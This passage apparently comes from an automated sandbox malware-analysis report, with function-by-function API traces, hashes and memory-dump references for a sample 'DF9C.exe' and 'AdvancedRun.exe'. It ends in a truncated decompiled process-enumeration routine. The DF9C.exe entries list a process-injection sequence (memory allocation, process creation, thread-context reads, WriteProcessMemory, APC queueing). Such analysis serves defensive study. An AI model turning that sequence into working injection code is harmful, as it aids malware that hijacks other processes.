Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 74a0fe5a95f47f1007eea8fbc73ad948407862ed62f1a40e54ccaa6ca11d5c84
Instruction ID: 1bd853d44fb542965b100fc1cf598c2f315575d8989f0a856c35eaddf0ee1553
Opcode Fuzzy Hash: 74a0fe5a95f47f1007eea8fbc73ad948407862ed62f1a40e54ccaa6ca11d5c84
Instruction Fuzzy Hash: B6A1B07590451D9BEB24DA188984BEA73B8BF85318F22D1F9D95993240EF31DE82CFD0

Uniqueness

Uniqueness Score: -1.00%

Function 6A9111E0, Relevance: 6.2, APIs: 4, Instructions: 230COMMON

Download Yara Rule

APIs

iswctype.1105(0000000A,00000004), ref: 6A911244
iswctype.1105(00000000,00000004), ref: 6A96EC6A

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: iswctype
String ID:
API String ID: 304682654-0
Opcode ID: 56f995d8bc155bca5c52a6537db475f7268b25a96bb21e7fe41ac0c2b1e3db8e
Instruction ID: 5157f3510dea5b07e8d9fdba2431a4299dd4ba42fb37424a774bb7ce90752525
Opcode Fuzzy Hash: 56f995d8bc155bca5c52a6537db475f7268b25a96bb21e7fe41ac0c2b1e3db8e
Instruction Fuzzy Hash: 3971C071A0811AAAEB54CEA8C8956BE77F5AF67310F31482ED851E7280DF3CCD40C760

Uniqueness

Uniqueness Score: -1.00%

Function 6A911E50, Relevance: 6.2, APIs: 4, Instructions: 169COMMON

Download Yara Rule

APIs

RtlNtStatusToDosError.1105(C000000D,?,00000000,6A9EF330,00000018), ref: 6A96F223
RtlNtStatusToDosError.1105(C000000D), ref: 6A96F2A6
RtlEnterCriticalSection.1105(?), ref: 6A96F2BB
RtlNtStatusToDosError.1105(C000000D), ref: 6A96F2E2

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorStatus$CriticalEnterSection
String ID:
API String ID: 152543406-0
Opcode ID: 3cc9722d173b468220ed2deeced3acd2a6b7e5bf5f52f1d78bf841816726a81c
Instruction ID: b29b4326cd8a510b631e8b7214d1f6edbdd66934892fef33214f34b888a0e87c
Opcode Fuzzy Hash: 3cc9722d173b468220ed2deeced3acd2a6b7e5bf5f52f1d78bf841816726a81c
Instruction Fuzzy Hash: 2B512471A04B89AFEB10CF68C584BAA77E5AF4A308F32856DD86557741CF30EC45CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6A948ED7, Relevance: 6.1, APIs: 4, Instructions: 110libraryCOMMON

Download Yara Rule

APIs

wcsrchr.1105(?,0000005C,00000000,00000000,00000000), ref: 6A948F1B
memcpy.1105(?,?,?,00000000,00000000,00000000), ref: 6A948F72
LdrFindEntryForAddress.1105(?,?,00000000,00000000,00000000), ref: 6A948F9D
memcpy.1105(?,?,00000004,?,?,00000000,00000000,00000000), ref: 6A948FD3

Part of subcall function 6A9492FC: RtlEnterCriticalSection.1105(6AA06D80,6A9F0158,00000018,6A9163DB), ref: 6A949331

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: memcpy$AddressCriticalEnterEntryFindSectionwcsrchr
String ID:
API String ID: 3299649961-0
Opcode ID: c6ea268ef8c8fcab1552981f2e0ff5c81db2efd0c6554e3dd484ce8b91997272
Instruction ID: 0ef887496fc777fe40e9b0a8a861d28491de9e6e97534df59509f211a02fbcb3
Opcode Fuzzy Hash: c6ea268ef8c8fcab1552981f2e0ff5c81db2efd0c6554e3dd484ce8b91997272
Instruction Fuzzy Hash: EF31E4722047129FD708CF18C840A6AB7E6FF84310F298569F9158B791DB30DC25C7D5

Uniqueness

Uniqueness Score: -1.00%

Function 6A9EED52, Relevance: 6.1, APIs: 4, Instructions: 110timeCOMMON

Download Yara Rule

APIs

RtlAcquireSRWLockExclusive.1105(6AA08684,6AA08668,?,?,6AA08668,6AA08668,?,6A9EE5F4,?,80000002,6AA08668,6AA08660), ref: 6A9EEDA9
RtlReleaseSRWLockExclusive.1105(6AA08684,6AA08684,6AA08668,?,?,6AA08668,6AA08668,?,6A9EE5F4,?,80000002,6AA08668,6AA08660), ref: 6A9EEE42
RtlDebugPrintTimes.1105(?,?,6AA08684,6AA08684,6AA08668,?,?,6AA08668,6AA08668,?,6A9EE5F4,?,80000002,6AA08668,6AA08660), ref: 6A9EEE50
RtlReleaseSRWLockExclusive.1105(6AA08684,6AA08684,6AA08668,?,?,6AA08668,6AA08668,?,6A9EE5F4,?,80000002,6AA08668,6AA08660), ref: 6A9EEE5B

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$Release$AcquireDebugPrintTimes
String ID:
API String ID: 309489879-0
Opcode ID: 7b2317d0b1d9469735e59def7679cc6f7909406e710776c3998b2191cd70031d
Instruction ID: 866d1cd4a19d44e5bc87da9e5de57f8ea3a39a49af13c7083897f0f06e01cf45
Opcode Fuzzy Hash: 7b2317d0b1d9469735e59def7679cc6f7909406e710776c3998b2191cd70031d
Instruction Fuzzy Hash: F631C936A00525AF8B1ACE19CC90569B7F5FF9A720325426DD815CB396DF34ED41C7C0

Uniqueness

Uniqueness Score: -1.00%

Function 6A93ECE0, Relevance: 6.1, APIs: 4, Instructions: 103timeCOMMON

Download Yara Rule

APIs

RtlAcquireSRWLockExclusive.1105(?,00000000,00000000), ref: 6A93ED2C
RtlReleaseSRWLockExclusive.1105(?,00000000,00000000,?,00000000,00000000), ref: 6A93ED90
TpSetWaitEx.1105 ref: 6A9842DE
RtlDebugPrintTimes.1105(?,?,00000000,00000000,?,00000000,00000000), ref: 6A98432F

Part of subcall function 6A93FC39: ZwAssociateWaitCompletionPacket.1105(?,00000000,?,?,?,00000000,00000000,?,?,00000000,?,00000000,?,00000000,00000000), ref: 6A93FC71

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLockWait$AcquireAssociateCompletionDebugPacketPrintReleaseTimes
String ID:
API String ID: 1549838691-0
Opcode ID: fa20f5d818257d8913b88b8a33a30f4740797f84246a6bec533e26a1d5ebe045
Instruction ID: a187183ec19029d2378b52fad3ba7882ef9eed089d9332cbb0ada091f54d0d64
Opcode Fuzzy Hash: fa20f5d818257d8913b88b8a33a30f4740797f84246a6bec533e26a1d5ebe045
Instruction Fuzzy Hash: 4E31B27560472AAFC714CF2488447AAB7F9BF86714F25492AD87587241DF30EC258BD1

Uniqueness

Uniqueness Score: -1.00%

Function 6A9CC08A, Relevance: 6.1, APIs: 4, Instructions: 92COMMON

Download Yara Rule

APIs

RtlAcquireSRWLockExclusive.1105(?,?,?,?,00000001,?,?,?,6A9CBC33,?,C0000002,00000020,?,?), ref: 6A9CC0CA
memcpy.1105(0000000C,?,?,?,?,?,?,?,?,00000001,?,?,?,6A9CBC33,?,C0000002), ref: 6A9CC115
RtlReleaseSRWLockExclusive.1105(?,?,?,?,?,?,?,00000001,?,?,?,6A9CBC33,?,C0000002,00000020,?), ref: 6A9CC17F

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$AcquireReleasememcpy
String ID:
API String ID: 753335654-0
Opcode ID: 7a22b20b0e65619a7f5b4e9c33edaae16c3849a9c5199be9c6b04e0a497ae878
Instruction ID: 4059f014d3a305e50eaf5bef4ea7fdc0cc727af8bc84906a9d6933248dc6032c
Opcode Fuzzy Hash: 7a22b20b0e65619a7f5b4e9c33edaae16c3849a9c5199be9c6b04e0a497ae878
Instruction Fuzzy Hash: A931E676A04905ABDB14CF68C880AA6B7F9FF44714B24C06DE85A9B201EB30FD52C795

Uniqueness

Uniqueness Score: -1.00%

Function 6A9E8050, Relevance: 6.1, APIs: 4, Instructions: 78threadCOMMON

Download Yara Rule

APIs

RtlAcquireSRWLockExclusive.1105(6AA086C4,00000008,?,00000000,00000008,?,6A96F8D6,?,00000000,00000000,?,6A9122D2,00000000,?,00000000,00000034), ref: 6A9E80AA
RtlReleaseSRWLockExclusive.1105(6AA086C4,6AA086C4,00000008,?,00000000,00000008,?,6A96F8D6,?,00000000,00000000,?,6A9122D2,00000000,?,00000000), ref: 6A9E80DD
TpSetPoolMaxThreads.1105(00000000,00000000,6AA086C4,6AA086C4,00000008,?,00000000,00000008,?,6A96F8D6,?,00000000,00000000,?,6A9122D2,00000000), ref: 6A9E80F3
TpSetPoolMaxThreadsSoftLimit.1105(00000000,00000000,00000000,00000000,6AA086C4,6AA086C4,00000008,?,00000000,00000008,?,6A96F8D6,?,00000000,00000000), ref: 6A9E80FB

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLockPoolThreads$AcquireLimitReleaseSoft
String ID:
API String ID: 4208054433-0
Opcode ID: 6f3a9a134e673e1de8788245633bf3fe73141e3cdc9c32823d937e8555aa9950
Instruction ID: ec4b4c9dadd8be36ac26baa1ce4cccc85e3eb97bff8bbd3a4997264bbee1d5fd
Opcode Fuzzy Hash: 6f3a9a134e673e1de8788245633bf3fe73141e3cdc9c32823d937e8555aa9950
Instruction Fuzzy Hash: DE113A31B05221A7871F9AE84CE0ACAB698BF89349F328229E910E7343CE21CD4147D5

Uniqueness

Uniqueness Score: -1.00%

Function 6A9A2D0B, Relevance: 6.1, APIs: 4, Instructions: 58COMMON

Download Yara Rule

APIs

RtlAcquireSRWLockShared.1105(?,00000000,00000000,00000008,?,?,6A96FFD2,00000000,?,00000000,00000000,00000000,00001030,000000FF,?,00000000), ref: 6A9A2D24
RtlAcquireSRWLockShared.1105(0000000C,?,00000000,00000000,00000008,?,?,6A96FFD2,00000000,?,00000000,00000000,00000000,00001030,000000FF,?), ref: 6A9A2D3C

Part of subcall function 6A93FAD0: RtlDllShutdownInProgress.1105(00000000), ref: 6A93FB35
Part of subcall function 6A93FAD0: ZwWaitForAlertByThreadId.1105(?,00000000,?,?,?,?,?,?,?,00000000), ref: 6A93FBE3

RtlReleaseSRWLockShared.1105(0000000C,0000000C,?,00000000,00000000,00000008,?,?,6A96FFD2,00000000,?), ref: 6A9A2D6A
RtlReleaseSRWLockShared.1105(?,?,00000000,00000000,00000008,?,?,6A96FFD2,00000000,?,00000000,00000000,00000000,00001030,000000FF,?), ref: 6A9A2D95

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: LockShared$AcquireRelease$AlertProgressShutdownThreadWait
String ID:
API String ID: 276812241-0
Opcode ID: 88fae9dfdcc93d6ae2d57cec0dcf665d3006a5fdfbd936ab78bbb9f86fe61423
Instruction ID: 576e68da7324338fffbf51b169ea14bb9137ab1772623c49d083f514ca6aa64c
Opcode Fuzzy Hash: 88fae9dfdcc93d6ae2d57cec0dcf665d3006a5fdfbd936ab78bbb9f86fe61423
Instruction Fuzzy Hash: 4511A3325003199FCB20CA65C484956B3FCEF85218B2184AFD64DD7622DF32ED46C790

Uniqueness

Uniqueness Score: -1.00%

Function 6A93E63F, Relevance: 6.1, APIs: 4, Instructions: 53threadCOMMON

Download Yara Rule

APIs

RtlSetThreadWorkOnBehalfTicket.1105(?,?,?), ref: 6A93E68B
TpCallbackMayRunLong.1105(?,?,?), ref: 6A93E6A3
RtlActivateActivationContextUnsafeFast.1105(?,?,?,?,?,6A949688,?,00000000,00000000,00000001,?,?,7FFE0386), ref: 6A96E258

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: ActivateActivationBehalfCallbackContextFastLongThreadTicketUnsafeWork
String ID:
API String ID: 3384506009-0
Opcode ID: 09daa6f13e10e10deb403ab3800f05a1ef34cbce950abe0e6d2b8a8228a42360
Instruction ID: 017cbe319e60c363163df08310476243d471bdb85ba808c53d831ac0e60aeb2c
Opcode Fuzzy Hash: 09daa6f13e10e10deb403ab3800f05a1ef34cbce950abe0e6d2b8a8228a42360
Instruction Fuzzy Hash: D801A171544A109FDB60CF2AC8C8B42B7FDAF4732CF200669D9554B185DB71EC85CB85

Uniqueness

Uniqueness Score: -1.00%

Function 6A9C8061, Relevance: 5.7, APIs: 1, Strings: 2, Instructions: 402COMMON

Download Yara Rule

Strings

xn--, xrefs: 6A9C80F6, 6A9C810E, 6A9C821C, 6A9C8223
xl--, xrefs: 6A9C80FD, 6A9C8215

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: xl--$xn--
API String ID: 0-2182639396
Opcode ID: 419e4c4a24a46e6c3ca3b8215a49a0c998391ad19c3a52510da58cb29bd9cc06
Instruction ID: cf208c6d01670c4648976cd2289d8ae26bb258f01c29e166314c47a16187af56
Opcode Fuzzy Hash: 419e4c4a24a46e6c3ca3b8215a49a0c998391ad19c3a52510da58cb29bd9cc06
Instruction Fuzzy Hash: 1FE1A071E006199FDF18CFA8C8946ADB7B5BF88310F35C42AD956A7240FB74D9818B53

Uniqueness

Uniqueness Score: -1.00%

Function 6A99F2B7, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63COMMON

Download Yara Rule

APIs

_wcsicmp.1105(?,?,-00000054,-00000054,00000000), ref: 6A99F2FB
DbgPrint.1105(AVRF: pid 0x%X: found dll descriptor for `%ws' with verified exports ,?,?,-00000054,-00000054,00000000), ref: 6A99F323

Strings

AVRF: pid 0x%X: found dll descriptor for `%ws' with verified exports , xrefs: 6A99F31E

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: Print_wcsicmp
String ID: AVRF: pid 0x%X: found dll descriptor for `%ws' with verified exports
API String ID: 2655330621-555053354
Opcode ID: 8ab457ad676fb8bbd6abf8e5259ef605480beae5395805420771dd23529c9b04
Instruction ID: 371738f8a4801f0c0ac1d040a2c5211dc914830ebdb18e808914e487371d4ffb
Opcode Fuzzy Hash: 8ab457ad676fb8bbd6abf8e5259ef605480beae5395805420771dd23529c9b04
Instruction Fuzzy Hash: 67216D32904608EFCB15CE54D981759FBB9AF8536CF3A8199E85467291CF35ED42CB80

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: DF9C.exe PID: 5668 Parent PID: 3292 DF9C.exeCOMMON

Executed Functions

Function 028648D0, Relevance: 1.6, APIs: 1, Instructions: 63memorynativeCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(?,?,?,?,?,?), ref: 0286495B

Memory Dump Source

Source File: 00000017.00000002.476937321.0000000002860000.00000040.00000001.sdmp, Offset: 02860000, based on PE: false

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: 2eaed02cf63c142299810738ba0c7f9ed1bd77c403fd0e6ae6cc8ec254be2cf8
Instruction ID: 5689fe88d4996b4e30bf1fa0983fc981d1ca42405f0c949e6da33c7904b2b6c9
Opcode Fuzzy Hash: 2eaed02cf63c142299810738ba0c7f9ed1bd77c403fd0e6ae6cc8ec254be2cf8
Instruction Fuzzy Hash: 032112B5D002499FCF10CFA9D885AEEBBF5FF48324F10882AE919A7250C7759945CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 028648D8, Relevance: 1.6, APIs: 1, Instructions: 61memorynativeCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(?,?,?,?,?,?), ref: 0286495B

Memory Dump Source

Source File: 00000017.00000002.476937321.0000000002860000.00000040.00000001.sdmp, Offset: 02860000, based on PE: false

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: 805ff60b33f793b2f585964345dc976e20c021bb050fb1a03c23b0acbea3e549
Instruction ID: 5acff9ff388ef4aecf466cab7886d4154de25a013c7e14d36f4d52b66d504afd
Opcode Fuzzy Hash: 805ff60b33f793b2f585964345dc976e20c021bb050fb1a03c23b0acbea3e549
Instruction Fuzzy Hash: 5521F3B5D002099FCF10CFAAD884AEEFBF9FF48314F50842AE919A7250D7759944CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 02863803, Relevance: 1.7, APIs: 1, Instructions: 202COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.476937321.0000000002860000.00000040.00000001.sdmp, Offset: 02860000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d84df8fe779b6a1fbfaf0f297295657efec5d74604435f439a1ea0e3ef8c81e
Instruction ID: 3ed68809a56c7edf2487d64a98252593b7283b332b79e360f2ff3656fc93027e
Opcode Fuzzy Hash: 7d84df8fe779b6a1fbfaf0f297295657efec5d74604435f439a1ea0e3ef8c81e
Instruction Fuzzy Hash: 45716935D012688FDB24CFA4C844BEDBBB6AF44304F1485DAD809BB290CB715E89CF90

Uniqueness

Uniqueness Score: -1.00%

Function 02863D44, Relevance: 1.7, APIs: 1, Instructions: 158threadCOMMON

Download Yara Rule

APIs

GetThreadContext.KERNELBASE(?,?), ref: 02863E50

Memory Dump Source

Source File: 00000017.00000002.476937321.0000000002860000.00000040.00000001.sdmp, Offset: 02860000, based on PE: false

Similarity

API ID: ContextThread
String ID:
API String ID: 1591575202-0
Opcode ID: f91bfae0f397ffde9fc325c263350f9f47a732080220d29d115e9f4d735a8215
Instruction ID: 4e4816e9e8e983e7e32d1cd80159abddb2810e1b99ba6e533f8f5a8b45da78dc
Opcode Fuzzy Hash: f91bfae0f397ffde9fc325c263350f9f47a732080220d29d115e9f4d735a8215
Instruction Fuzzy Hash: 79413670D043288FDB66CF65C8857EEBBB9AB45604F4084EAD44DA7240DB745F89CF90

Uniqueness

Uniqueness Score: -1.00%

Function 02863AFC, Relevance: 1.7, APIs: 1, Instructions: 157processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNELBASE(?,00000000,00000009,?,?,?,?,?,?,?), ref: 02863C47

Memory Dump Source

Source File: 00000017.00000002.476937321.0000000002860000.00000040.00000001.sdmp, Offset: 02860000, based on PE: false

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 8c3ca18e8ad1b0d7b781b01ce3875252b1d9d25928a009168b141c9f255bed8b
Instruction ID: 8b3c75d2f2f09aa9c6c80b465e18fa3f418c9e6f91d6ecb45cf7caa42f67a2d4
Opcode Fuzzy Hash: 8c3ca18e8ad1b0d7b781b01ce3875252b1d9d25928a009168b141c9f255bed8b
Instruction Fuzzy Hash: 8C512B75D01229DFEB20CFA5C844BEDBBB6BF44304F14859AE809B7250DB755A85CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 02863D50, Relevance: 1.7, APIs: 1, Instructions: 155threadCOMMON

Download Yara Rule

APIs

GetThreadContext.KERNELBASE(?,?), ref: 02863E50

Memory Dump Source

Source File: 00000017.00000002.476937321.0000000002860000.00000040.00000001.sdmp, Offset: 02860000, based on PE: false

Similarity

API ID: ContextThread
String ID:
API String ID: 1591575202-0
Opcode ID: 1a5e6534d1f23128e543a0bc4aa574e6a716444eb1d2620aa4901c227e47bac2
Instruction ID: 1e6a0ab62e5ae3c7a0815ed274c5af89a66184789ff7093768b503e983b3514a
Opcode Fuzzy Hash: 1a5e6534d1f23128e543a0bc4aa574e6a716444eb1d2620aa4901c227e47bac2
Instruction Fuzzy Hash: 64412871D003288FDB66CF65C8857EEBBB9AB45604F4084EAE44DA7240DB745F89CF90

Uniqueness

Uniqueness Score: -1.00%

Function 02863B08, Relevance: 1.7, APIs: 1, Instructions: 154processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNELBASE(?,00000000,00000009,?,?,?,?,?,?,?), ref: 02863C47

Memory Dump Source

Source File: 00000017.00000002.476937321.0000000002860000.00000040.00000001.sdmp, Offset: 02860000, based on PE: false

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: b93c4484d4519dd3e50c212c041e723a6918c2f2aed36611453c8d2fe249d7ef
Instruction ID: ec7499b0872cfda16c8a1df1f7cc9582620c3cae5425ac55a4b51be7af7a2d4f
Opcode Fuzzy Hash: b93c4484d4519dd3e50c212c041e723a6918c2f2aed36611453c8d2fe249d7ef
Instruction Fuzzy Hash: 80512A75C01229DFEB20CFA5C844BEDBBB6BF44304F14859AE809B7250DB755A85CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 02864438, Relevance: 1.6, APIs: 1, Instructions: 69injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 028644C8

Memory Dump Source

Source File: 00000017.00000002.476937321.0000000002860000.00000040.00000001.sdmp, Offset: 02860000, based on PE: false

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 12a0a7c4494a9c82d3dbea34866276893aea4f6cf70e7122fdd524e0a2a62cdc
Instruction ID: ea73803a00d8b492776f09b7cf65de3e6055a6b7fe86fe365f01728bc319b9b8
Opcode Fuzzy Hash: 12a0a7c4494a9c82d3dbea34866276893aea4f6cf70e7122fdd524e0a2a62cdc
Instruction Fuzzy Hash: D0212575D003499FCB10CFA9C885BEEBBF5FF48314F14882AE918A7640D7789944CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 02864430, Relevance: 1.6, APIs: 1, Instructions: 68injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 028644C8

Memory Dump Source

Source File: 00000017.00000002.476937321.0000000002860000.00000040.00000001.sdmp, Offset: 02860000, based on PE: false

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 0eb9477bc1707325b9d78ca9866bd6f844a09861f0ce692c320edabcb60d5f5c
Instruction ID: 01bef86ebe5cba7d56ab68709c063484ea371b8c6483a9ed251c9cfcd283da91
Opcode Fuzzy Hash: 0eb9477bc1707325b9d78ca9866bd6f844a09861f0ce692c320edabcb60d5f5c
Instruction Fuzzy Hash: 0C2124759003598FCB10CFA9C985BEEBBF5FF48314F14882AE958A7640D7789954CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 02864750, Relevance: 1.6, APIs: 1, Instructions: 56threadCOMMON

Download Yara Rule

APIs

RtlQueueApcWow64Thread.NTDLL(?,?,?,?,?), ref: 028647C6

Memory Dump Source

Source File: 00000017.00000002.476937321.0000000002860000.00000040.00000001.sdmp, Offset: 02860000, based on PE: false

Similarity

API ID: QueueThreadWow64
String ID:
API String ID: 1120405860-0
Opcode ID: db890138c55615a190e7c9ed9958e7d639dc7cc23c07d41fa591b0fc9761ce90
Instruction ID: b3e9ce541cc60dd85adc037e420e9aab561bca67af53a84a65a3aada0a3b7b93
Opcode Fuzzy Hash: db890138c55615a190e7c9ed9958e7d639dc7cc23c07d41fa591b0fc9761ce90
Instruction Fuzzy Hash: 42214775D002498FCB10CFA9D844AEEBFF9EF88324F14882AE555A7650C7759945CF90

Uniqueness

Uniqueness Score: -1.00%

Function 02864758, Relevance: 1.6, APIs: 1, Instructions: 53threadCOMMON

Download Yara Rule

APIs

RtlQueueApcWow64Thread.NTDLL(?,?,?,?,?), ref: 028647C6

Memory Dump Source

Source File: 00000017.00000002.476937321.0000000002860000.00000040.00000001.sdmp, Offset: 02860000, based on PE: false

Similarity

API ID: QueueThreadWow64
String ID:
API String ID: 1120405860-0
Opcode ID: 7a2b85498790d63189a04e72a2c5eff5f95e8b238edefb2931906728c9fc9413
Instruction ID: aecc8f6da4c55c8b90522ec24804e548e67cf7bedb3905df19b04e6f54e0bbdb
Opcode Fuzzy Hash: 7a2b85498790d63189a04e72a2c5eff5f95e8b238edefb2931906728c9fc9413
Instruction Fuzzy Hash: 83116775D002088FCB10CFA9C844BEFBBF9EF88324F148819E515A7640CB75A944CFA0

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: AdvancedRun.exe PID: 6864 Parent PID: 1936 AdvancedRun.exeCOMMON

Executed Functions

Function 004095FD, Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 120
processlibraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E004095FD(void* __edx, void* __eflags, intOrPtr _a4) {
				void* _v8;
				void* _v12;
				char _v16;
				char _v24;
				char _v32;
				char _v40;
				char _v48;
				intOrPtr _v52;
				char _v576;
				long _v580;
				intOrPtr _v1112;
				long _v1128;
				void _v1132;
				void* _v1136;
				void _v1658;
				char _v1660;
				void* __edi;
				void* __esi;
				void* _t41;
				long _t49;
				void* _t50;
				intOrPtr* _t66;
				struct HINSTANCE__* _t68;
				void* _t71;
				void* _t83;
				void* _t84;
				void* _t85;

				_t78 = _a4;
				E004099D4(_a4 + 0x28);
				_t41 = CreateToolhelp32Snapshot(2, 0); // executed
				_v12 = _t41;
				memset( &_v1132, 0, 0x228);
				_t84 = _t83 + 0xc;
				_v1136 = 0x22c;
				Process32FirstW(_v12,  &_v1136); // executed
				while(Process32NextW(_v12,  &_v1136) != 0) {
					E004090AF( &_v580);
					_t49 = _v1128;
					_v580 = _t49;
					_v52 = _v1112;
					_t50 = OpenProcess(0x410, 0, _t49);
					_v8 = _t50;
					if(_t50 != 0) {
						L4:
						_v1660 = 0;
						memset( &_v1658, 0, 0x208);
						_t85 = _t84 + 0xc;
						E004098F9(_t78, _v8,  &_v1660);
						if(_v1660 != 0) {
							L10:
							E0040920A( &_v576,  &_v1660);
							E00409555(_v8,  &_v48,  &_v40,  &_v32,  &_v24); // executed
							_t84 = _t85 + 0x14;
							CloseHandle(_v8);
							_t78 = _a4;
							L11:
							E004099ED(_t78 + 0x28,  &_v580);
							continue;
						}
						_v16 = 0x104;
						if( *0x41c8e0 == 0) {
